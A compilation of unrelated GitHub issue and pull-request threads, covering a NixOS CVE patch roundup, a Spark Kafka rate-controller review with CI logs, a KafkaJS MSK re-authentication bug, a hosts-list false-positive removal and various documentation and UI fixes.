[ ] CVE-2017-13666

busybox: ab917a22f511610345e3112af59e8cba7b4db297 (after minimal testing seems that we had the problem and the patch does fix it) and all CVE fixes from master picked to release-17.09 in 5cb8134e54e919598fc7852f404c31651c2f869d

Permanent CC's: @NixOS/security-notifications, @joepie91, @phanimahesh, @the-kenny, @7c6f434c, @k0001, @peterhoeg, @nh2, @LnL7
@ckauhaus could you edit the Permanent CC's from the previous kind of roundups into the issue template? I guess with some explanation how to get added/removed…

gstreamer: the -plugins-bad from 0.10 is a really bad package... I would just phase it out, marking it as insecure for now.  Any better ideas?

Regarding vte-0.28.2 (CVE-2012-2738) we currently ship a patch https://github.com/NixOS/nixpkgs/blob/a982b20c3601e5376aa6508b8cadc809b05542b8/pkgs/desktops/gnome-2/desktop/vte/default.nix#L17-L18 that is marked as CVE-2012-2738. Going through some of the release logs you find multiple commits that are supposed to fix that issue (http://ftp.gnome.org/pub/GNOME/sources/vte/0.32/vte-0.32.2.news).
The bug gnome has assigned internally is https://bugzilla.gnome.org/show_bug.cgi?id=676090 . The changelog (http://ftp.gnome.org/pub/GNOME/sources/vte/0.32/vte-0.32.2.changes) lists both commits that are required.
From what I can see right now we are lacking at least https://git.gnome.org/browse/vte/commit/?id=98ce2f265f986fb88c38d508286bb5e3716b9e74.
I will open a PR (FIXME) that introduces the missing patch.

One issue that I missing from the list is
openssl-1.0.2m (https://www.openssl.org/news/secadv/20171207.txt)

CVE-2017-3737 (moderate)
CVE-2017-3738 (low)

I'll open a PR to bump the version.
both of them are fixed in version 1.0.2n.

the rsync CVE is fixed in #32510

ghostscript: I couldn't find a commit or reference explicitly mentioning CVE-2016-10317, so I don't know whether it's fixed.

exiv2: no upstream release yet, and pulling such an amount of patches will be a bit painful, but let me try.

Exiv2 v0.27 RC1 January 2018. GM April 2018.

@7c6f434c There's not much of an issue template right now. So I guess this is the time to create one. :-)

nixos-17.09 EOL


UML-1186 - Send service usage stats to Slack on a schedule

Purpose
Help keep the team informed on how usage of the service is working.
Fixes UML-1186
Approach
Update get_statistics.py to output plaintext stats breakdown
Create a CircleCI job to post stats to the slack channel
Schedule job to run on a schedule to be determined by the team.
Schedule Examples
Once a week on a Monday morning,  post statistics since service go-live
Tuesday - Friday mornings post current month's stats.
Learning
Any tips and tricks, blog posts or tools which helped you. Plus anything notable you've discovered about the Use a Lasting Power of Attorney service
Checklist

[ ] I have performed a self-review of my own code
[ ] I have added relevant logging with appropriate levels to my code
[ ] I have updated documentation (Confluence/GitHub wiki/tech debt doc) where relevant
[ ] I have added tests to prove my work
[ ] I have added welsh translation tags and updated translation files
[ ] I have run an accessibility tool on any pages I have made changes to and fixed any issues found
[ ] The product team have tested these changes

Outputting plaintext stats statement
Taking 1 minute to run locally. Will investigate options for improvements

Outputting plaintext stats statement
Taking 1 minute to run locally. Will investigate options for improvements

A previous change has caused a loss of metrics for a period from November 27th. This is ongoing. While this PR restores the emission of events to be captured as metrics, it will not restore the gap in metrics.

A previous change has caused a loss of metrics for a period from November 27th. This is ongoing. While this PR restores the emission of events to be captured as metrics, it will not restore the gap in metrics.


Migrate word add ins page

Migrate Word add-ins page.

Docs Build status updates of commit 33b1488:
:warning: Validation status: warnings

File
Status
Preview URL
Details

docs/index.yml
:warning:Warning
View
Details

docs/reference/overview/word-add-ins-reference-overview.md
:white_check_mark:Succeeded
View

docs/toc.yml
:white_check_mark:Succeeded
View

docs/word/index.md
:white_check_mark:Succeeded
View

docs/word/index.yml
:white_check_mark:Succeeded
View

docs/index.yml

Line 0: [Warning-InvalidFileLink] Invalid file link:(~/word/index.md).

For more details, please refer to the build report.
If you see build warnings/errors with permission issues, it might be due to single sign-on (SSO) enabled on Microsoft's GitHub organizations. Please follow instructions here to re-authorize your GitHub account to Docs Build.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
Note: Your PR may contain errors or warnings unrelated to the files you changed. This happens when external dependencies like GitHub alias, Microsoft alias, cross repo links are updated. Please use these instructions to resolve them.
For any questions, please:Try searching in the Docs contributor and Admin GuideSee the frequently asked questionsPost your question in the Docs support channel


feat(footer-update-internationalpartners): update the international p…

Remove the link to “Babajob” and "Manager" from the international partners section of the footer
Change all links in the international partners section to https
update the career@jobsDB link from
"https://hk.jobsdb.com/hk/en/Search/FindJobs?AccNums=1&JSRV=1&SubAccount=14&page=1"
to
"https://hk.jobsdb.com/hk/en/Search/FindJobs?AccNums=1&JSRV=1&page=1"

@swetharajendra05 , the last commit for fixing the footer link is fine now. Thank you.


[SPARK-8978][Streaming] Implements the DirectKafkaController

Merged build triggered.

Merged build started.

Test build #39053 has started for   PR 7796 at commit f788b9b.

Test build #39053 timed out     for PR 7796 at commit f788b9b     after a configured wait of 175m.

Merged build finished. Test FAILed.

I dont get this PR. In the Direct Kafka, the rate is defined per partition. So there has to be a separate rate controller per partition, similar to having separate rateControllers for each receivers (if there were multiple receivers in the system).
Also dont you have to define a DirectKafkaRateController, that is not going to publish any thing?

@dragos Will you or someone else be able to update this PR?
If you are not able to then the backpressure PRs were moot, as the Kafka will not have backpressure

@tdas I am looking at this right now. I am assuming if we can get this done by tomorrow we are still good. /cc @dragos

Merged build triggered.

Merged build started.

@yes, I strongly suggest doing this really really fast.

Test build #39583 has started for   PR 7796 at commit a6e5171.

Test build #39583 has finished for   PR 7796 at commit a6e5171.

This patch fails PySpark unit tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test FAILed.

@tdas Added the missing rate controller.I hope this makes this PR complete now.

Merged build triggered.

Merged build started.

Test build #39687 has started for   PR 7796 at commit 167e730.

Test build #39687 has finished for   PR 7796 at commit 167e730.

This patch fails to build.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test FAILed.

@nraychaudhuri This does not build, so not complete :)

@tdas Just noticed. Didn't get that in local build. Investigating

@nraychaudhuri

I had suggested earlier that there should be one controller per partition. But I realize that this complicates stuff as there can be only one RateController associated with a InputDStream.
Please update the title to use DirectKafkaRateController
Ideally, we have to add a unit test to see that the rate update is actually used.

@tdas found the issue. My branch was not updated. I will fix the issues you pointed out. I am not sure what do you mean by update the title?
I will try to add a test.

Title means PR title, still says DirectKafkaController (should be
DirectKafkeRateController) :)
On Tuesday, August 4, 2015, Nilanjan Raychaudhuri<EMAIL_ADDRESS>wrote:

@tdas https://github.com/tdas found the issue. My branch was not
updated. I will fix the issues you pointed out. I am not sure what do you
mean by update the title?
I will try to add a test.
—
Reply to this email directly or view it on GitHub
https://github.com/apache/spark/pull/7796#issuecomment-127531667.

--
Sent from Gmail Mobile

Merged build triggered.

Merged build started.

@tdas Made the necessary change. Should I squash all the commits?

Test build #39703 has started for   PR 7796 at commit 2d374c1.

@tdas I will add the test next. It might take a while as I am new this codebase

Test build #39703 has finished for   PR 7796 at commit 2d374c1.

This patch fails Scala style tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test FAILed.

Merged build triggered.

Merged build triggered.

Merged build triggered.

Merged build triggered.

@tdas Tried my best to come up with a testcase for the DirectKafkaInputDStream. Please take a look. I hope this PR is good for merge now.

Merged build started.

Merged build started.

Merged build started.

Merged build started.

Test build #39706 has started for   PR 7796 at commit 393c580.

Test build #39707 has started for   PR 7796 at commit 3110267.

Test build #39706 has finished for   PR 7796 at commit 393c580.

This patch fails Scala style tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test FAILed.

Test build #39722 has started for   PR 7796 at commit d04a288.

Test build #39710 has started for   PR 7796 at commit b6ecb67.

Test build #39707 has finished for   PR 7796 at commit 3110267.

This patch fails Scala style tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test FAILed.

Test build #39722 has finished for   PR 7796 at commit d04a288.

This patch fails Scala style tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test FAILed.

Test build #39710 has finished for   PR 7796 at commit b6ecb67.

This patch fails Scala style tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test FAILed.

Merged build triggered.

Merged build started.

Test build #39732 has started for   PR 7796 at commit d3db1ea.

Test build #39732 has finished for   PR 7796 at commit d3db1ea.

This patch fails Spark unit tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test FAILed.

Merged build triggered.

Merged build started.

Test build #39746 has started for   PR 7796 at commit 9e69e37.

Test build #39746 has finished for   PR 7796 at commit 9e69e37.

This patch fails Spark unit tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test FAILed.

Merged build triggered.

Merged build started.

Test build #39751 has started for   PR 7796 at commit 6372478.

Test build #39751 has finished for   PR 7796 at commit 6372478.

This patch fails Scala style tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test FAILed.

Merged build triggered.

Merged build started.

Test build #39752 has started for   PR 7796 at commit 9615320.

Test build #39752 has finished for   PR 7796 at commit 9615320.

This patch fails Spark unit tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test FAILed.

Merged build triggered.

Merged build started.

Merged build finished. Test FAILed.

Jenkins, test this please.

Test build #1338 has started for   PR 7796 at commit ce19d2a.

Merged build triggered.

Merged build started.

Test build #39768 has started for   PR 7796 at commit ce19d2a.

Test build #39768 has finished for   PR 7796 at commit ce19d2a.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Test build #1338 has finished for   PR 7796 at commit ce19d2a.

This patch fails PySpark unit tests.
This patch merges cleanly.
This patch adds no public classes.

@tdas I assume an MLlib PySpark failed test is unrelated to this pull request. True?

Jenkins, test this please.

Merged build triggered.

Merged build started.

Test build #39805 has started for   PR 7796 at commit ce19d2a.

@deanwampler Probably true. Testing it again.
At a high level the state of this PR is.

The test is probably correct, but it very likely to be flaky. This is I guess inspired by the test in RateControllerSuite, which is flaky. I am changing it to a more robust version in PR #7913
Updated PR Title from "DirectKafkaController" to "DirectKafkaRateController"
See other comments inline.

Test build #39805 has finished for   PR 7796 at commit ce19d2a.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test PASSed.

Fixed the doc. Thanks @dragos  for fixing the title

Merged build triggered.

Merged build started.

Merged build finished. Test FAILed.

Just an update.

I commented in the inner threads - copy the updated ConstantEstimator from my PR and make the test deterministic like I have done it in the PR
Some nits on variable naming are left.

Test build #1351 has started for   PR 7796 at commit e43f678.

Test build #1351 timed out     for PR 7796 at commit e43f678     after a configured wait of 175m.

Merged build triggered.

Merged build started.

Test build #39873 has started for   PR 7796 at commit 648c8b1.

Test build #39873 has finished for   PR 7796 at commit 648c8b1.

This patch fails Spark unit tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test FAILed.

Jenkins, test this please.

So, I'm not sure why the other test failed on this build, but the updated test I submitted still passes. Let me know what else needs to be done on this.

@tdas Took care of the remaining nits. Hope this makes the code clear /cc @deanwampler

Jenkins, test this please.

Merged build triggered.

Merged build started.

Test build #39922 has started for   PR 7796 at commit 50d1f21.

Test build #39922 has finished for   PR 7796 at commit 50d1f21.

This patch fails PySpark unit tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test FAILed.

Jenkins, test this please.

Test build #1375 has started for   PR 7796 at commit 50d1f21.

Merged build triggered.

Merged build started.

Test build #39961 has started for   PR 7796 at commit 50d1f21.

LGTM. Will merge when the tests pass.

Test build #1375 has finished for   PR 7796 at commit 50d1f21.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Test build #39961 has finished for   PR 7796 at commit 50d1f21.

This patch fails PySpark unit tests.
This patch merges cleanly.
This patch adds no public classes.

Merged build finished. Test FAILed.

Not sure why pySpark tests passed and failed for the same commit. Trying to build again

Jenkins, test this please.

Test build #1387 has started for   PR 7796 at commit 50d1f21.

Test build #1387 has finished for   PR 7796 at commit 50d1f21.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

@tdas Just checking, but does this mean the pull request was merged back to Apache-hosted git repos and then closed without merging here? I want to make sure it wasn't closed without merging correctly. Thanks.

Oops, I forgot to ack that. Yes, I have merged this in master and branch 1.5, which automatically closed the PR. Thank you very much @dragos @nraychaudhuri @deanwampler for all the help!
Another point, I have also merged an additional PR that links backpressure stuff with all the receivers that do not use the default block generator, and rather manage their own blockgenerators (Reliable Kafka receiver, and my updated Kinesis Receiver). See #7913.

Awesome! Thanks for clarifying. Whew!!


add iMac19,1 dump

Hello @evansan, where did you find this dump? It does not look legit to me, as it is likely taken from iMac18,x rather than iMac19,x. T2-based models include RGEN SMC key that equals 3, and on the contrary do not include REV and RBr SMC keys.

Oh, right, iMac19,1 has no T2, and thus uses older generation SMC.


Coerce patitionKey into a string

When users set a partitionKey, the library should convert the partitionKey to a type of string. All other libraries in the EventHubs ecosystem expect a string type.
Continuation of:
Azure/azure-event-hubs-spark#424

@sabeegrewal As per your comment in
https://github.com/Azure/azure-event-hubs-spark/issues/424#issuecomment-454482170

In general, we expect the partitionKey to be a string.

By we, I am assuming you are referring to the Event Hubs service itself. Right?

Seems that the node.js library should coerce partitionKeys into string types.

What I am worried about here is breaking existing customers by making this change. Can you elaborate on how exactly is partitionKey used by Event Hubs?

@sjkwak can speak to this more.
Yea, the service and all statically-typed clients treat partitionKey as a string.

Thanks @sabeegrewal
We learnt that by converting user provided partitionKey to a string, a user who has been using a non string partition key will now have their messages sent to a totally new partition. This is a breaking change especially if the partitions from which they are receiving messages are hard-coded.
We are leaning towards throwing an error message in such cases and make a major version update.
This way the experience for existing customers won't change unless they opt in to a new major version.

We have just released a new version 2.0.0 for the Event Hubs library which includes the change to throw an error if a message is being set with a partitionKey which is not a string.


Add "application/vnd.ms-excel;charset=UTF-8" as a valid downloader content type

where?

In the URL downloader: https://github.com/CartoDB/cartodb/edit/master/services/importer/lib/importer/downloader.rb
@Kartones told me to add it directly, so I'm right now adding it to the XLS format array, if that's okay.

For more info:
If the content-type doesn't match completely (which doesn't in the case of charsets), the format guessing is based in the name of the resource according to the URL. In the specific scenario that failed, the URL is not explanative enough to make it work and the format ".do" is being guessed from it.


Support for Futures Streams

Please add support for future streams. (/fapi)
https://binance-docs.github.io/apidocs/futures/en/#start-user-data-stream-user_stream

We hope to provide this feature soon.


convert & magick commands not found

Hi Jorge!
Tried your script. It works to the point of creating the graph.png but then generates these errors:
Drawing diagram
./llmapper: line 53: convert: command not found
./llmapper: line 56: magick: command not found
./llmapper: line 59: convert: command not found
./llmapper: line 64: convert: command not found
The file /Users/tsheiner/work/llmapper/maps/output.png does not exist.

I don't know what convert and magick are, perhaps there is a dependency you forgot to list or you have something in your $PATH that I don't have?

Hi Tim, sorry about this — I forgot to include imagemagick in the list of dependencies. I've updated the README file.


feat: sphinx docs

Reason for Change

#TICKET_NUMBER
If the reason for this PR's code changes are not clear in the issue, state value/impact

Changes

add
remove
modify

Testing steps

Either list QA steps or reasoning you feel QA is unnecessary
Describe how you made sure to know that your changes worked. Should allow someone else to go verify your code without in depth knowledge.

Notes for Reviewer

decided on using pdoc


Some praise

This is not an issue, I just thought I'd pass on some praise that came out of our class review this morning.
I really like the way the labs use Azure Data Studio, in particular the use of a Jupyter notebook. It's a nice feature of the product and none of the other courses and labs seem to mention it.
Thanks for including it in the first lab in this course.

Thank your feedback, I'm glad you've found the Jupyter notebook feature useful.


Error tracking for errors in defer

What version of Remix are you using?
1.19.0
Are all your remix dependencies & dev-dependencies using the same version?

[X] Yes

Steps to Reproduce
// routes/stream-error.ts

import { Suspense } from "react";

import { defer } from "@remix-run/node";
import { Await, useLoaderData } from "@remix-run/react";

export const loader = async ({}) => {
  return defer({
    data: (async () => {
      await new Promise((r) => setTimeout(r, 1000));

      throw new Error("dev stream error");
    })(),
  });
};

export default function DevStreamError() {
  const { data } = useLoaderData<typeof loader>();

  return (
    <div>
      test
      <Suspense fallback={"loading"}>
        <Await resolve={data}>{() => "loaded"}</Await>
      </Suspense>
    </div>
  );
}

// entry.server.ts

export function handleError(
  error: unknown,
  { request }: DataFunctionArgs,
): void {
  console.log("handleError in entry.server.ts");
  if (error instanceof Error) {
    captureRemixServerException(error, "remix.server", request);
  } else {
    // Optionally capture non-Error objects
    captureException(error);
  }
}

Expected Behavior
Maybe handleError should be invoked? Or any another handleDeferError function should be invoked?
I am currently unable to do anything for errors thrown in defer promises, unless I wrap them one by one with some custom error handling logics.
This problem is not discussed as far as I know. How do people track issues in defer?
ErrorBoundary doesn't help, because in production mode all error stack information invisible to client, let alone there is loss of information if not tracked on server.
Actual Behavior
handleError is not invoked for any error in defer

Until there's an official support, I'm using this hack to catch all errors in defer promises.
This might break for any minor versions as some properties are not documented.
        /**
         * Hacking into the internal of remix's DeferredData to track their errors.
         * @see: https://github.com/remix-run/remix/issues/7671
         * @see: https://github.com/remix-run/react-router/blob/37c5f3c610d429439c5d79bf9f789451a1caa024/packages/router/utils.ts#L1300
         */
        if ("subscribe" in (data as any)) {
          const asDeferred: DeferredData = data as any;

          const unsub = asDeferred.subscribe((aborted, settledKey) => {
            if (aborted || (asDeferred as any)["pendingKeysSet"].size === 0) {
              unsub();
            }

            if (settledKey && !aborted) {
              const settledData = asDeferred.data[settledKey] as any;
              if (settledData["_error"]) {
                captureException(settledData["_error"]);
              }
            }
          });
        }


Task detail configure gear misaligned

Testing #83436
Minor UI bug, but it appears that the gear to configure a task (in a detail task) is not on the same line as the single line tasks:

@chrmarti is the icon alignment something we would want to change for all quick picks with inline buttons?

Btw, I realized that this icon is not using the icon font, so you can easily update the class of the gear to include codicon-gear and it will auto-align:

Yes, this should be consistent for all QuickPicks.

@misolori very cool and very easy! I incorrectly assumed it would need a quick pick change.


custom-toast-component-react-snippet added

Added a react snippet named custom toast component.md
added image blue notifiication.jpg for cover

Thanks for contributing. However, this snippet has numerous formatting issues and is quite complicated in its current state. Perhaps we can revisit it later as a full-fledged article with more context.


track or set resolutions

ensure consistency with resolution, whether it is 720p, 1080p, and maybe BD quality

packlist results get sorted by set preferences
https://github.com/DanBrink91/IRC-Download-Bot/commit/5e7c2e62f8370fd162784e7a552a53b326d3a121


Online Assessments - Best Practices

Description
Description

How to begin with the test?
How to manage time?
Stress control.
Tips / Recommendations for online Assessment.

Domain
Interview Prep
Type of Contribution
Documentation
Code of Conduct

[X] I follow Contributing Guidelines & Code of conduct of this project.

Hi Can I contribute to this issue ?

Hi Can I contribute to this issue ?

@syedareehaquasar !! Assign it to her :)

assigned go ahead Harshi! All the best!

Okay !

Can I work on this issue ?

Can I work on this issue ?

Already assigned :)

Hi i created a PR

i'll check in a moment !! and merge it :)


Fix modularity drift

Overview
During the M2 development cycle, we have introduced substantial drift in the modular runtime architecture the EDC is built on. I'm planning on fixing this ASAP, before the M2 release.
This issue will describe the areas of drift that have been uncovered and give an overview of how they will be fixed. The issue will also start to codify EDC modularity rules and suggest how they may be enforced as part of the build system.
Modularity Drift
M2 has introduced a number of dependency tangles and improper coupling between modules.

There are many dependencies on core modules throughout the codebase, in particular core:base. No other module should depend on core:base, core:transfer, core:contract, or core:boot other than launcher or BOM modules

The core:base module is used as an extension and a library module. It should only be an extension. Implementation classes that are used by other modules (e.g. by services they provide or for testing) need to be moved out to an appropriate module.

The core modules themselves have improper dependencies that couple various runtimes. For example, core:base relies on the spi BOM module, which pulls in spi:contract and spi:transfer. The core:base module should only include essentials common to all runtimes (e.g. Connector, Data Plane Server, Catalog, etc.). These couplings create a tangled dependency graph.

Remedy
These issues will be fixed by doing the following:
I. SPI module cleanup
core:policy:policy-evaluator

[ ] Module core:policy:policy-evaluator should be moved out of core because spi modules (e.g. contract-spi, contract-transfer) relies on it. This module should be moved to spi and renamed policy-spi-model

spi:web-spi

[ ] Module spi:web-spi move out of spi and up to a higher level

core:spi

[ ] Clean up core-spi system package by creating sub-packages for injection, configuration, extensions

II. Core module cleanup
core:base
The core:base module is used as a library and an extension. This needs to be fixed by removing its use as a library.

[x] core:base relies on the spi BOM, which drags in spi:transfer and spi:contract. Remove this.

[x] ExponentialWaitStrategy implements TransferWaitStrategy, NegotiationWaitStrategy should not do that because it couples base to spi:transfer and spi:contract. TransferWaitStrategy and ContractWaitStrategy should only be used as extension point interfaces and should not be referenced by clients (they should reference WaitStrategy).

[x] Move ExponentialWaitStrategy to core-spi since it is accessed by other core modules. The core:contract and core:transfer modules will create wait strategies for their managers directly.

[x] Move ConfigFactory and ConfigImpl to core-spi. ConfigFactory is referenced in many modules, which requires dependencies on core:base

[x] @CoreExtension should be moved to core-spi

[x] Move EntitiesProcessor move to common-util

[x] Move ConsoleMonitor and NullVaultExtension to core-spi as they are used in core:boot and by other modules for testing.

[x] Move VaultPrivateKeyResolver to core-spi. Currently used by AzureVaultExtension.

core:contract

[x] Module core:contract relies on core:base. Remove this.
[ ] Subsequent PR: Remove dependency on in-memory negotiation store. The in-memory store should be included in this module and added if no other one exists.

core:transfer

[x] Remove dependency on SPI BOM
[x] Remove dependency on core:base.
[ ] Remove dependency on inline-data-transfer-core
[ ] Subsequent PR: Remove dependency on in-memory transfer store. The in-memory store should be included in this module and added if no other one exists.

core:boot

[x] Remove dependency on SPI BOM
[x] Remove dependency on core:base.

III. All other modules
Remove dependencies on core modules from all modules except launcher and BOM modules.
Rules and Enforcement
We need to enforce (at least) the following rules to avoid drift in the future:

No other module is allowed to depend on a core module other than a launcher or BOM module. This includes other core modules.
Module core:spi cannot depend on any other module
Module cataog:spi should not depend on contract-spi. However, this cannot be removed until the contract types are moved to their own module.

One way to do this is to investigate the use of Gradle plugins

The in-memory dependencies will be handled by support for default services (proposal coming).


dbeaver/pro#2567 Add link to the database documentation in the connection window

Have added all link for CE version. Links for other versions will be added in the future sprints

Location of the link is incosistent between new and existing connection and also it feels like the position in new connection is out of place
Existing connection

New connection

It would be great to improve the link text and position.

Driver Documentation - This is not driver documentation. The link to the driver documentation is in the driver settings. This documentation describes how DBeaver maintains the database. Something like this would probably work: Database support documentation, Database documentation or just Documentation.
The link to the variable information is next to the new link, so it should also be renamed. Possible options: Varibales in connection parameters or smth like this.
It would be great to add an indent to the new link if possible. So that both links have the same left margin (not critical).

Database documentation and the change of name of 'You can user variables in connection parameters ' were added only in English and Russian language in the pr

I think it would be better to remove the translations in other languages.

There is a bug where wheather the link would appear (in connection creation) somehow depends on which driver you chose first.
For example in a case where I open the wizard and

Select Netezza
Click Back
Select Postgres (Old)

For both of those drivers there would be a link to documentation
https://github.com/dbeaver/dbeaver/assets/82543000/bf80834f-a02e-4eea-ad03-acd8445e81c2
But if I close the wizard, open a bew one and

Select Postgres (Old)
Click Back
Select Netezza

Both of them would not show a link to documentation
https://github.com/dbeaver/dbeaver/assets/82543000/de6b5369-5a9d-4841-a9db-babaf5ec653d
I've used Postgres (Old) as an example that somehow breaks the UI, but there are actually other drivers that do the same.

There are pages for Databricks and Redshift in our wiki, but there are now links for those drivers on the connection page

Verified


install package to use upgraded kernel to 3.19

closing this based on http://cloud-images.ubuntu.com/trusty/current/hwe-v/


Misleading exericse

On the second numpy worksheet, the students are supposed to compute all the percentiles at once.  Many groups did not do this because the format of the exercise lent itself to a nice symmetric solution where you use five print statements formatted with the appropriate function call.  I think we should consider revising this, although I don't know the best way.

Just a musing here for now, we could drop the vectorized solution as a desideratum for the problem, since they get to practice this in various other contexts and I'd rather groups not get hung up on the first problem.
Something to think on a bit in the future.

Yeah.  To add to that, I'm also not too sure if a nuanced understanding of numpy.percentile is particularly useful for them to have.

Dropped vectorized solutions as a desirable approach to the problem, and added sample plots for Parts 2 and 3 so that they can evaluate on their own whether they've produced a correct result.


Fix triviaqa task

Fix triviaqa task
Test task code by usinggpt-neox-20b
Below command is my test command

python main.py \
--model hf-causal-experimental \
--model_args use_accelerate=True,pretrained=/mount/lm_storage/checkpoints/gpt-neox-20b \
--tasks triviaqa \
--num_fewshot 5 \
--batch_size 16 \
--limit 100

to: @StellaAthena
resolved: #456

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

@seopbo Thanks for the contribution! Can you explain how this fixes TriviaQA?

@seopbo Thanks for the contribution! Can you explain how this fixes TriviaQA?

@seopbo Thanks for the contribution! Can you explain how this fixes TriviaQA?

I implemented this by https://github.com/EleutherAI/lm-evaluation-harness/issues/456#issuecomment-1537048846.
By this code, gpt-neox-20b score

0 shot: 0.2705
5 shot: 0.3818

In gpt-neox-20b paper, score is

0 shot: 0.259
5 shot: 0.347

Thanks very much for this contribution, @seopbo ! It is very appreciated :)
Will merge this shortly--LLama-7B achieves 40.5% instead of the 50% in the paper with this, and I'd like to confirm that we can't get any closer to their / other published setups first. (The paper seems to imply the prompt is "Q: {question}\nA:")

Thanks again! Changed this so it should use the filtered dev set, following LLaMA.

can you update the new performance of llama 7b on triviaqa?


KafkaJSNonRetriableError: Cannot change principals during re-authentication

Describe the bug
I have a consumer running on EKS on aws and have set up MSK for kafka, both of them in same VPC. I have used @jm18457/kafkajs-msk-iam-authentication-mechanism library for authentication using IAM roles. I was able to consume messages on EKS, but out of nowhere I got Crash: KafkaJSNonRetriableError: Cannot change principals during re-authentication from IAM.arn:aws:sts::<AppID>:assumed-role/CionEKSPodRole/aws-sdk-js-session-<SessionID1>: IAM.arn:aws:sts::<AppID>:assumed-role/CionEKSPodRole/aws-sdk-js-session-<SessionID2> Error and consumer stopped listening messages, while i am still able to produce messages on other end.
To Reproduce

Run a producer that continuously produces messages to a topic
Run a consumer that subscribes to that topic.
After the consumer has consumed few messages in an hour or sometimes after a day it suddenly stops consuming messages with error mentioned in description.

Code snippet for cosumer:
import { createMechanism } from '@jm18457/kafkajs-msk-iam-authentication-mechanism';
import {  Kafka } from 'kafkajs';
const consumeMessages= async () => {
 try{
        const kafka = new Kafka({
        brokers: ['broker1', 'broker2'],
        ssl: true,
        sasl: createMechanism({
            region: 'us-west-2'
        }),
    });
        const groupId = 'test-cluster-id'
        const kafkaConsumer= kafka.consumer({ groupId:  groupId });
        await kafkaConsumer.connect();
         await kafkaConsumer.subscribe({
            topics: ['some-topic']
        });
         await kafkaConsumer.run({
            // eslint-disable-next-line require-await
            eachMessage: async ({ topic, message }) => {
               // Process message
            }
        });
    } catch(err){
        console.log("Failed to connect kafka")
        console.log(err);
    }
}

Expected behavior
Consumer shouldn't crash or retry connecting to the broker.
Observed behavior

Was able to consume messages.
All of a sudden got error: Crash: KafkaJSNonRetriableError: Cannot change principals during re-authentication from IAM.arn:aws:sts::<AppID>:assumed-role/CionEKSPodRole/aws-sdk-js-session-<SessionID1>: IAM.arn:aws:sts::<AppID>:assumed-role/CionEKSPodRole/aws-sdk-js-session-<SessionID2>

Environment:

OS: Ubuntu 22.4
KafkaJS 2.2.4
Kafka version 2.8.1
NodeJS version 16.20.0

{"level":"ERROR","timestamp":"2023-08-11T13:24:37.575Z","logger":"kafkajs","message":"[Consumer] Crash: KafkaJSNonRetriableError: Cannot change principals during re-authentication from IAM.arn:aws:sts::020260453790:assumed-role/msk-full-iam/aws-sdk-js-session-1691756680572: IAM.arn:aws:sts::020260453790:assumed-role/msk-full-iam/aws-sdk-js-session-1691760272714","groupId":"group","stack":"KafkaJSNonRetriableError: Cannot change principals during re-authentication from IAM.arn:aws:sts::020260453790:assumed-role/msk-full-iam/aws-sdk-js-session-1691756680572: IAM.arn:aws:sts::020260453790:assumed-role/msk-full-iam/aws-sdk-js-session-1691760272714\n at /home/node/app/node_modules/kafkajs/src/retry/index.js:55:18\n at runMicrotasks ()\n at processTicksAndRejections (node:internal/process/task_queues:96:5)"}

same issue, does anyone as a retriable configuration ?

Closing this issue as setting AWS_ROLE_SESSION_NAME in environment variable to any static value resolves the error.

Closing this issue as setting AWS_ROLE_SESSION_NAME in environment variable to any static value resolves the error.

Is there any detailed explanation why it solves the issue?

Closing this issue as setting AWS_ROLE_SESSION_NAME in environment variable to any static value resolves the error.

Is there any detailed explanation why it solves the issue?

Based on logs and value of AWS_ROLE_SESSION_NAME, if we dont have any role session name, AWS is adding default role session name whose format was aws-sdk-js-session-${Date.now()}. So after each session (1 hour or so) it again generates new role session name, thus causing error.
Keeping it to static value always use same role session name and avoids error


False positive - cdn.shortpixel.ai ?

Hello and thanks for creating and maintaining this awesome list!
I am contacting you on behalf of ShortPixel and we are providing an image optimization service used by tens of thousands of websites and has nothing to do with ads, malware, or other types of reasons why domains are present on your lists. The domain cdn.shortpixel.ai is used to serve optimized images for the sites through our WordPress plugin and we do our best to block any site that misuses our services. However, that's not always possible as you already know.
Therefore, I'm kindly asking you to tell us what do we need to do to be removed from your lists and I assure you of our full cooperation. We don't know the reasons why we have been added to the https://github.com/StevenBlack/hosts/blob/master/data/adaway.org/hosts list and we'll do our best to fix whatever issue has caused our domain to be listed here. I was only able to identify that it was added in this commit, which contained an update of that list:
Thank you!

ping @jawz101

removed.  thanks

Wow, this was super fast! You guys are awesome! Many thanks @jawz101 and @llacb47 ! Keep up the great work!
This issue can now be closed.

Thanks for this Pedro @pdobrescu.
This is now live in the latest release.
Closing!


nest model training

Suppose there is a feature set X = {x1, x2, x3, ... xn}, and X1={xi1, xi2, xi3, ... xim} , X2 = {xj1, xj2, xj3, ..., xjn} are subset of X,
using lgb I construct two base models U = U(X1), V = V(X2)
and I want to using lgb to construct a complex model W = W(U, V, X) = W( U(X1), V(X2), X)
= W(U(xi1, xi2 ,xi3, ... xim), V(xj1, xj2, xj3, ..., xjn), x1, x2, x3, ... xn)
I don't  how to traing the total model,
i,e. How to pass gradient from loss function to base model ,to param tuning.
Thanks!
Summary

Motivation

Description

References

If I understand correctly, you would like to train at the same time the 2 base models U, V, and the complex model W which uses their output, and optimize the weights of all models to minimize the loss of W? This is not possible in LightGBM.

Another question:How to use lgb to train a gbdt+lr model?

